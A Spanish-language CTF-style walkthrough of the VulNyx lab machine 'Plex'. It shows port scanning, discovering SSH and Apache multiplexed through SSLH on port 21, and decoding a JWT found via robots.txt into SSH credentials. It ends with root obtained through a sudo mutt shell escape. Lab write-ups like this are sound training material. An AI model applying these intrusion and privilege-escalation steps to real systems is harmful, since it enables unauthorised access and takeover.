Plex es una máquina Linux de dificultad fácil de la plataforma VulNyx, creada por d4t4s3c y funciona correctamente en VirtualBox.
Skills:
- SSLH
- Privilege Escalation (mutt)
Nmap
❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-01 07:54 CET
Nmap scan report for 192.168.1.43
Host is up (0.00014s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
❯ nmap -n -Pn -sVC -p21 192.168.1.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-01 07:55 CET
Nmap scan report for 192.168.1.43
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
21/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
| 256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_ 256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
21 ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
Port: 21
en el nmap
inicial vemos el puerto 21 (FTP) abierto, pero realmente corre un servicio SSH (OpenSSH)
y al intentar conectarme lo confirmo
❯ ssh -p21 vulnyx@192.168.1.43
vulnyx@192.168.1.43's password:
llegados a este punto, poco se puede hacer ya que no disponemos de credenciales totales o parciales para realizar fuerza bruta a SSH
llama la atención que solo exista un puerto abierto, así que podemos pensar que se esta empleando SSLH
para alojar múltiples servicios en un solo puerto mediante un multiplexor
envió una solicitud HTTP
por HEAD
y GET
confirmando que se esta empleando SSLH
ya que llego a un servidor Apache2
por el mismo puerto
❯ curl -I "192.168.1.43:21"
HTTP/1.1 200 OK
Date: Fri, 01 Mar 2024 07:45:36 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
ETag: "31-61274c7cf8519"
Accept-Ranges: bytes
Content-Length: 49
Content-Type: text/html
❯ curl -sX GET "192.168.1.43:21"
Hello Bro!
You only need a port to be happy...
realizo fuzzing en busca de posibles rutas/archivos
❯ gobuster dir -w /opt/common.txt -u 'http://192.168.1.43:21' -x 'html,txt,php'
/robots.txt (Status: 200) [Size: 58]
robots.txt
en /robots.txt
encuentro una posible ruta
❯ curl -sX GET "192.168.1.43:21/robots.txt"
User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b
/9a618248b64db62d15b300a07b00580b
en la ruta /9a618248b64db62d15b300a07b00580b
encuentro una cadena que parece ser un JSON Web Token
❯ curl -sX GET "192.168.1.43:21/9a618248b64db62d15b300a07b00580b/"
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
hago un decoded a la cadena y encuentro credenciales del usuario mauro
mauro:m@uR0123!
accedo como usuario mauro
por SSH
con las credenciales obtenidas
❯ ssh -p21 mauro@192.168.1.43
mauro@192.168.1.43 password:
mauro@plex:~$ id;hostname
uid=1000(mauro) gid=1000(mauro) grupos=1000(mauro)
plex
Privilege Escalation
mauro
puede ejecutar como root
el binario mutt
con sudo
mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mauro may run the following commands on plex:
(root) NOPASSWD: /usr/bin/mutt
ejecuto mutt
con sudo
mauro@plex:~$ sudo -u root /usr/bin/mutt
me aparece un editor
presiono ?
para acceder al panel de ayuda
presiono !
y me permite ejecutar comandos
presiono Enter
y me convierto en usuario root
root@plex:~# id
uid=0(root) gid=0(root) grupos=0(root
ya como usuario root
puedo leer las flags user.txt
y root.txt
root@plex:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
05135a01************************
943f08fb************************
hasta aquí la máquina Plex.
Happy Hacking!